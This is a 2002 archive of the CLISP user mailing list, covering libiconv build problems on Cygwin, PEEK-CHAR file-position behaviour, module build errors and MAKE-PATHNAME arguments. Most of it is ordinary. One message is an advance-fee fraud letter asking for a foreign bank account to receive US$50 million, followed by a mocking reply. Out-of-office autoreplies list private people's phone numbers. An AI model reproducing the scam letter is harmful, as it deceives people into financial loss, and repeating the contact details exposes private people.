<15836.58888.736699.513403@honolulu.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 22 01:10:04 2002 X-Original-Date: Fri, 22 Nov 2002 19:10:13 +1000 Hello Bruno, Thursday, November 21, 2002, 11:56:24 PM, you wrote: >> What does it mean when iconv() returns ENOENT ? It happens during >> cygwin build - as reported by Alex Tibbles. It happened after I >> updated cygwin so it may be related with newer version of libiconv. > Indeed. On systems like cygwin, libiconv has to #define EILSEQ by itself. > In libiconv 1.7 I used to > #define EILSEQ EINVAL > but this was a mistake, and so in libiconv 1.8 it is changed to > #define EILSEQ ENOENT > So it is a binary incompatibility; sorry that should have been advertised > in libiconv 1.8's README. I think now I know what happens. Cygwin didn't have EILSEQ until recently. But now it does. So when I compile clisp even with new iconv.h, EILSEQ is not redefined in my binaries, but it is redefined in iconv library. I cannot build libiconv on cygwin by myself. It doesn't pass configure stage and I don't know much about that (configure, autoconf, libtool, m4 etc). -- Best regards, Arseny From alex_tibbles@yahoo.co.uk Fri Nov 22 04:32:53 2002 Received: from web12605.mail.yahoo.com ([216.136.173.228]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18FCzN-0005yW-00 for ; Fri, 22 Nov 2002 04:32:53 -0800 Message-ID: <20021122123253.29071.qmail@web12605.mail.yahoo.com> Received: from [81.6.248.90] by web12605.mail.yahoo.com via HTTP; Fri, 22 Nov 2002 12:32:53 GMT From: =?iso-8859-1?q?Alex=20Tibbles?= Subject: Re: Re[2]: [clisp-list] iconv(3) To: Arseny Slobodjuck , clisp-list@lists.sourceforge.net In-Reply-To: <16012557737.20021122191013@ich.dvo.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 22 04:33:06 2002 X-Original-Date: Fri, 22 Nov 2002 12:32:53 +0000 (GMT) Hello there. I'm wondering what this means for compiling clisp on cygwin. Cygwin (current) has version 1.8 of libiconv. Currently, clisp is not compatible with this version. Is this summary correct? Is this a problem in libiconv or clisp? alex > > So it is a binary incompatibility; sorry that > should have been advertised > > in libiconv 1.8's README. > > I think now I know what happens. Cygwin didn't have > EILSEQ until recently. > But now it does. So when I compile clisp even with > new iconv.h, > EILSEQ is not redefined in my binaries, but it is > redefined in iconv library. > > I cannot build libiconv on cygwin by myself. It > doesn't pass configure > stage and I don't know much about that (configure, > autoconf, libtool, > m4 etc). __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com From ampy@ich.dvo.ru Fri Nov 22 05:50:40 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru ident=[C5VgHs/HEP33klxacou30n9uEbdn7yja]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18FECY-0005Bn-00 for ; Fri, 22 Nov 2002 05:50:35 -0800 Received: from ppp123-AS-2.vtc.ru (ppp123-AS-2.vtc.ru [212.16.216.123]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gAMDntj8017052; Fri, 22 Nov 2002 23:50:01 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <461337913.20021122235123@ich.dvo.ru> To: Alex Tibbles CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] iconv(3) In-reply-To: <20021122123253.29071.qmail@web12605.mail.yahoo.com> References: <20021122123253.29071.qmail@web12605.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 22 05:51:03 2002 X-Original-Date: Fri, 22 Nov 2002 23:51:23 +1000 Hello Alex, Friday, November 22, 2002, 10:32:53 PM, you wrote: > I'm wondering what this means for compiling clisp on > cygwin. Cygwin (current) has version 1.8 of libiconv. > Currently, clisp is not compatible with this version. > Is this summary correct? > Is this a problem in libiconv or clisp? If I'm right, solution is to rebuild libiconv against new cygwin headers (namely errno.h) and link clisp with it. It will be still libiconv 1.8 I think. >> I think now I know what happens. Cygwin didn't have >> EILSEQ until recently. >> But now it does. So when I compile clisp even with >> new iconv.h, >> EILSEQ is not redefined in my binaries, but it is >> redefined in iconv library. -- Best regards, Arseny From postmaster@andrew2.stanford.edu Fri Nov 22 12:02:04 2002 Received: from smtp1.stanford.edu ([171.64.14.23]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18FK03-0003s7-00 for ; Fri, 22 Nov 2002 12:02:03 -0800 Received: from smtp1.Stanford.EDU (localhost [127.0.0.1]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gAMK1wo10368 for ; Fri, 22 Nov 2002 12:01:58 -0800 (PST) Received: from andrew2.stanford.edu (Andrew2.Stanford.EDU [171.66.248.177]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gAMK1v110355 for ; Fri, 22 Nov 2002 12:01:57 -0800 (PST) Received: from ANDREW2/SpoolDir by andrew2.stanford.edu (Mercury 1.48); 22 Nov 02 12:02:01 -0800 Received: from SpoolDir by ANDREW2 (Mercury 1.48); 22 Nov 02 12:01:32 -0800 X-Autoreply-From: To: clisp-list@lists.sourceforge.net From: Message-ID: <575414D29FF@andrew2.stanford.edu> Subject: [clisp-list] clisp-list digest, Vol 1 #651 - 3 msgs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 22 12:03:39 2002 X-Original-Date: Fri, 22 Nov 2002 12:01:22 -0800 Hi! I'm out of town until Nov 30th. Although I will occasionally be online, I may not be able to reply to you until I return. If you have a lab issues that requires immediate attention, you may want to contact Devaki Bhaya or call the lab at 650.325.1521.605. In case of personal emergency, please contact my housemate, David Coale, at 650.493.4503. He has emergency contact information for me. Cheers, 'Jeff From rbechtel@attbi.com Fri Nov 22 13:17:58 2002 Received: from sccrmhc02.attbi.com ([204.127.202.62]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18FLBV-0003Qa-00 for ; Fri, 22 Nov 2002 13:17:57 -0800 Received: from attbi.com (12-255-174-194.client.attbi.com[12.255.174.194]) by sccrmhc02.attbi.com (sccrmhc02) with SMTP id <2002112221174800200t5omne>; Fri, 22 Nov 2002 21:17:48 +0000 Message-ID: <3DDE9F9B.5020807@attbi.com> From: Bob Bechtel User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Possible bug: PEEK-CHAR advances file pointer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 22 13:18:05 2002 X-Original-Date: Fri, 22 Nov 2002 15:20:27 -0600 I'm not sure this is a bug -- it may be a question of CL Spec interpretation. Here's the bug data: 1. Platform: Windows 2000, SP2. Hardware is P4, 512M. 2-4. I'm using a binary distribution, clisp-2.30-win32.zip. I may be able to rebuild from sources, but would prefer to wait until this is confirmed as an error, rather than just a permissible CL spec interpretation. 5. lisp --version GNU CLISP 2.30 (released 2002-09-15) (built 2002-09-15 11:22:41) Features: (CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER SYSCALLS DIR-KEY PC386 WIN32) 6. Example... I did (setf bbna (merge-pathnames "I.NEX")) to get a pathname to an existing file. Then [10]> (with-open-file (foo bbna) (format t "~%Current file position = ~A~%" (file-position foo)) (format t "PEEK-CHAR gets ~C~%" (peek-char nil foo)) (format t "File position is now ~A~%" (file-position foo)) (format t "Second PEEK-CHAR gets ~C~%" (peek-char nil foo)) (format t " while making file position ~A~%" (file-position foo))) Current file position = 0 PEEK-CHAR gets i File position is now 1 Second PEEK-CHAR gets i while making file position 1 NIL I was expecting that the file position would remain 0 through both PEEK-CHAR calls. The other CL implementations I've tried (Allegro, Corman, and Lispworks) all keep file position at 0, but as I look through the Hyperspec, it says that (PEEK-CHAR NIL ...) must keep the character in the buffer for subsequent operations, but doesn't explicitly require the file pointer to remain unchanged. So, I don't know if this is really a bug, or just a permissible (though surprising to me) interpretation of the spec. Suggestions? Thanks! bob bechtel From ampy@ich.dvo.ru Sat Nov 23 04:03:30 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru ident=[Z1L0p6p23RYCK3nh7fB2MmTZAHZbOkxz]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18FZ0I-00013t-00 for ; Sat, 23 Nov 2002 04:03:18 -0800 Received: from ppp58-AS-1.vtc.ru (ppp58-AS-1.vtc.ru [212.16.216.58]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gANC2ij8019161; Sat, 23 Nov 2002 22:02:47 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1954312460.20021123220414@ich.dvo.ru> To: clisp-list@lists.sourceforge.net CC: Alex Tibbles Subject: Re[5]: [clisp-list] iconv(3) In-reply-To: <461337913.20021122235123@ich.dvo.ru> References: <20021122123253.29071.qmail@web12605.mail.yahoo.com> <461337913.20021122235123@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 23 04:04:02 2002 X-Original-Date: Sat, 23 Nov 2002 22:04:14 +1000 Hi, Friday, November 22, 2002, 11:51:23 PM, you wrote: >> I'm wondering what this means for compiling clisp on >> cygwin. Cygwin (current) has version 1.8 of libiconv. >> Currently, clisp is not compatible with this version. >> Is this summary correct? >> Is this a problem in libiconv or clisp? > If I'm right, solution is to rebuild libiconv against new > cygwin headers (namely errno.h) and link clisp with it. > It will be still libiconv 1.8 I think. I just managed to rebuild libiconv (just learned to use patched sources from cygwin) and problem has gone. Also I had to build and install libsigsegv from its CVS - clisp didn't get build without it. -- Best regards, Arseny From abdulahimusa41@hotmail.com Sat Nov 23 10:00:30 2002 Received: from [195.166.237.34] (helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18FeZw-0005aW-00 for ; Sat, 23 Nov 2002 10:00:29 -0800 From: "Dr Abdulahi Musa." To:clisp-list@sourceforge.net MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] URGENT ASSISTANCE. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 23 10:01:07 2002 X-Original-Date: Sat, 23 Nov 2002 09:56:52 From: Dr Abdulahi Musa.. Senior Accountant CAPITAL PETROLUEM CORPORATION NIGERIA. Dear Sir, REQUEST FOR BUSINESS ASSISTANCE. I am an accountant with the Capital Petroleum Corporation (CPC) and I head a seven-man tenders board in charge of contract review and payment approvals. I came to know of you in my search for a reliable and reputable person to handle a very confidential transaction, which involves the transfer of a huge sum of money to a foreign account. There were series of contracts executed by multinationals in the oil sector in favour of CPC among which were: 1. The expansion of the pipeline network within Nigeria for crude oil downstream products distribution and subsequent evacuation US$850Million. 2. Contract for the turn around maintenance (TAM) of various Refineries in the country - US$53Million. 3. The construction of storage tanks for petroleum products (Deposits)-US$50Million. The original value of these contracts were deliberately over invoiced to the tune of Fifty Million United States Dollars (US$50,000,000.00), which has now been approved and is now ready to be paid out. Although the contracts has been executed and the companies that ctually executed these contracts have also been paid up in full, my colleagues and I are willing to transfer the total amount to your bank account for subsequent disbursement. Since we as civil servants are not allowed to by the code of conduct bureau (civil service law) from opening /operating foreign accounts in our names. Needless to say, the trust reposed on me at this juncture is enormous. In return, for the services you will render, we have agreed to offer you 20% of the total sum, while 5% shall be set aside for incidental expenses between both parties in the course of this transaction. The rest of the funds, being 75% is to be for us. Modalities have been worked out at the highest levels here in Nigeria to enable us have a hitch free transfer of this funds within 14 working days. Let me assure you that your role in this transaction is risk free. To accord this transaction the legality it deserves and for mutual security of the funds, all approval procedures will be officially and legally processed with your name or the name of any company you may nominate as the bona fide beneficiary, to facilitate this transaction. I will be giving you the details of the transaction on the receipt of your response confirming your interest or otherwise via my secure above email address or my telephone number: 234-803 3020224. I will be glad if you will coperate by calling me immediately for more details. Yours truly, Dr Abdulahi Musa. From coby@thesoftwaresmith.com.au Sun Nov 24 01:32:45 2002 Received: from thesoftwaresmith.com.au ([210.15.192.190] helo=digit) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ft7c-0004rq-00 for ; Sun, 24 Nov 2002 01:32:13 -0800 Received: from login.localnet ([192.168.1.232] helo=heffer) by digit with smtp (Exim 3.12 #1 (Debian)) id 18Ft70-0003HQ-00; Sun, 24 Nov 2002 20:31:34 +1100 Message-ID: <02bb01c2939c$97241220$e801a8c0@localnet> From: "Coby Beck" To: "Dr Abdulahi Musa." , References: Subject: Re: [clisp-list] URGENT ASSISTANCE. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 24 01:33:02 2002 X-Original-Date: Sun, 24 Nov 2002 20:33:45 +1100 .... > > The original value of these contracts were deliberately over invoiced > to the tune of Fifty Million United States Dollars (US$50,000,000.00), > which has now been approved and is now ready to be paid out. > Although the contracts has been executed and the companies that ctually executed > these contracts have also been paid up in full, my colleagues and I are willing > to transfer the total amount to your bank account for subsequent disbursement. > Since we as civil servants are not allowed to by the code of conduct bureau > (civil service law) from opening /operating foreign accounts in our names. > Needless to say, the trust reposed on me at this juncture is enormous. > > In return, for the services you will render, we have agreed to offer > you 20% of the total sum, while 5% shall be set aside for incidental > expenses between both parties in the course of this transaction. The rest of the > funds, being 75% is to be for us. Hey Abdulahi! Long time no hear. I still have that first 37.5 million sitting in my account. Where should I send it? Give me a good heads up, I can only get 500$/day out of the machine. Yours truly, Coby From postmaster@andrew2.stanford.edu Sun Nov 24 12:06:38 2002 Received: from smtp1.stanford.edu ([171.64.14.23]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18G31a-0003cn-00 for ; Sun, 24 Nov 2002 12:06:38 -0800 Received: from smtp1.Stanford.EDU (localhost [127.0.0.1]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gAOK6bo18484 for ; Sun, 24 Nov 2002 12:06:37 -0800 (PST) Received: from andrew2.stanford.edu (Andrew2.Stanford.EDU [171.66.248.177]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gAOK6a118480 for ; Sun, 24 Nov 2002 12:06:36 -0800 (PST) Received: from ANDREW2/SpoolDir by andrew2.stanford.edu (Mercury 1.48); 24 Nov 02 12:06:44 -0800 Received: from SpoolDir by ANDREW2 (Mercury 1.48); 24 Nov 02 12:06:25 -0800 X-Autoreply-From: To: clisp-list@lists.sourceforge.net From: Message-ID: <5A557574E45@andrew2.stanford.edu> Subject: [clisp-list] clisp-list digest, Vol 1 #653 - 1 msg Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 24 12:07:14 2002 X-Original-Date: Sun, 24 Nov 2002 12:06:25 -0800 Hi! I'm out of town until Nov 30th. Although I will occasionally be online, I may not be able to reply to you until I return. If you have a lab issues that requires immediate attention, you may want to contact Devaki Bhaya or call the lab at 650.325.1521.605. In case of personal emergency, please contact my housemate, David Coale, at 650.493.4503. He has emergency contact information for me. Cheers, 'Jeff From pascal@thalassa.informatimago.com Mon Nov 25 10:03:02 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GNZQ-0008SF-00 for ; Mon, 25 Nov 2002 10:02:57 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 10BD0464BC; Mon, 25 Nov 2002 19:02:46 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20021125180246.10BD0464BC@thalassa.informatimago.com> Subject: [clisp-list] Compiling clisp-2.30: No rule to make target `clisp-module' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 25 10:04:02 2002 X-Original-Date: Mon, 25 Nov 2002 19:02:46 +0100 (CET) While compiling clisp-2.30 on Linux 2.4.10-4GB (SuSE Linux 7.3) with: ./configure --prefix=/local/language/clisp --with-export-syscalls --with-threads=POSIX_THREADS `cd modules ; for m in * ; do echo --with-module=$m ; done` --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/ cd src ./makemake --with-dynamic-ffi --prefix=/local/language/clisp --with-export-syscalls --with-threads=POSIX_THREADS --with-module=bindings --with-module=clx --with-module=oracle --with-module=postgresql632 --with-module=postgresql642 --with-module=queens --with-module=regexp --with-module=wildcard --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/ > Makefile make config.lisp make clean make compilation ends with this error: CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd bindings ; dots=`echo bindings/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -pthread -DUNICODE -DMULTITHREAD -DPOSIX_THREADS -DEXPORT_SYSCALLS -DDYNAMIC_FFI -DNO_SIGSEGV -I." INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}stdbool.h ${dots}libcharset.h" CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lm" RANLIB="ranlib" CLISP="$CLISP -q" make[1]: Entering directory `/local/src/clisp-2.30/src/bindings' make[1]: *** No rule to make target `clisp-module'. Stop. make[1]: Leaving directory `/local/src/clisp-2.30/src/bindings' make: *** [bindings] Error 2 What should be done? -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Mon Nov 25 11:25:48 2002 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GOrc-0001H5-00 for ; Mon, 25 Nov 2002 11:25:48 -0800 Received: from loiso.podval.org ([151.203.48.21]) by out002.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021125192538.KIXM9109.out002.verizon.net@loiso.podval.org>; Mon, 25 Nov 2002 13:25:38 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gAPJPek7022283; Mon, 25 Nov 2002 14:25:40 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gAPJPST6022279; Mon, 25 Nov 2002 14:25:28 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compiling clisp-2.30: No rule to make target `clisp-module' References: <20021125180246.10BD0464BC@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20021125180246.10BD0464BC@thalassa.informatimago.com> Message-ID: Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.48.21] at Mon, 25 Nov 2002 13:25:37 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 25 11:28:35 2002 X-Original-Date: 25 Nov 2002 14:25:28 -0500 > * In message <20021125180246.10BD0464BC@thalassa.informatimago.com> > * On the subject of "[clisp-list] Compiling clisp-2.30: No rule to make target `clisp-module'" > * Sent on Mon, 25 Nov 2002 19:02:46 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > While compiling clisp-2.30 on Linux 2.4.10-4GB (SuSE Linux 7.3) with: > > ./configure --prefix=/local/language/clisp --with-export-syscalls so far - so good. > --with-threads=POSIX_THREADS not supported and probably does not work at all. > `cd modules ; for m in * ; do echo --with-module=$m ; done` huh?!!! did you try "ls modules"? how do you expect amiga bindings to compile on your linux box? > --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/ fine. > make[1]: Entering directory `/local/src/clisp-2.30/src/bindings' > make[1]: *** No rule to make target `clisp-module'. Stop. > make[1]: Leaving directory `/local/src/clisp-2.30/src/bindings' > make: *** [bindings] Error 2 of course - there is no such module as "bindings" > What should be done? specify only the modules you will _really_ need. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Linux - find out what you've been missing while you've been rebooting Windows From russell_mcmanus@yahoo.com Mon Nov 25 14:14:57 2002 Received: from bgp485821bgs.summit01.nj.comcast.net ([68.37.179.230] helo=thelonious.dyndns.org) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18GRTr-0000pL-00 for ; Mon, 25 Nov 2002 14:13:27 -0800 Received: (from russe@localhost) by thelonious.dyndns.org (8.11.6/8.11.6) id gAPMEbr02940; Mon, 25 Nov 2002 17:14:37 -0500 (EST) X-Authentication-Warning: thelonious.dyndns.org: russe set sender to russell_mcmanus@yahoo.com using -f To: clisp-list@lists.sourceforge.net From: Russell McManus Message-ID: <87vg2lnvoz.fsf@thelonious.dyndns.org> Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] make-pathname question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 25 14:23:58 2002 X-Original-Date: 25 Nov 2002 17:14:36 -0500 Should make-pathname support :type :unspecific ? clisp-2.30 says: *** - MAKE-PATHNAME: illegal :TYPE argument :UNSPECIFIC But http://www.lispworks.com/reference/HyperSpec/Body/26_glo_v.htm#valid_pathname_type Says: valid pathname type n. a string, nil, :wild, :unspecific. -russ From sds@gnu.org Mon Nov 25 15:09:38 2002 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GSME-0001DG-00 for ; Mon, 25 Nov 2002 15:09:38 -0800 Received: from loiso.podval.org ([151.203.48.21]) by out002.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021125230927.LZPX9109.out002.verizon.net@loiso.podval.org>; Mon, 25 Nov 2002 17:09:27 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gAPN9Wk7023478; Mon, 25 Nov 2002 18:09:32 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gAPN9VZ8023474; Mon, 25 Nov 2002 18:09:31 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Russell McManus Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] make-pathname question References: <87vg2lnvoz.fsf@thelonious.dyndns.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87vg2lnvoz.fsf@thelonious.dyndns.org> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.48.21] at Mon, 25 Nov 2002 17:09:27 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 25 15:17:58 2002 X-Original-Date: 25 Nov 2002 18:09:30 -0500 > * In message <87vg2lnvoz.fsf@thelonious.dyndns.org> > * On the subject of "[clisp-list] make-pathname question" > * Sent on 25 Nov 2002 17:14:36 -0500 > * Honorable Russell McManus writes: > > Should make-pathname support :type :unspecific ? > > clisp-2.30 says: > > *** - MAKE-PATHNAME: illegal :TYPE argument :UNSPECIFIC > > But > > http://www.lispworks.com/reference/HyperSpec/Body/26_glo_v.htm#valid_pathname_type > > Says: > > valid pathname type n. a string, nil, :wild, :unspecific. what's the semantic difference between :UNSPECIFIC and NIL in this context? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Parachute for sale, used once, never opened, small stain. From pascal@thalassa.informatimago.com Mon Nov 25 18:31:52 2002 Received: from thalassa.informatimago.com ([212.87.205.57] 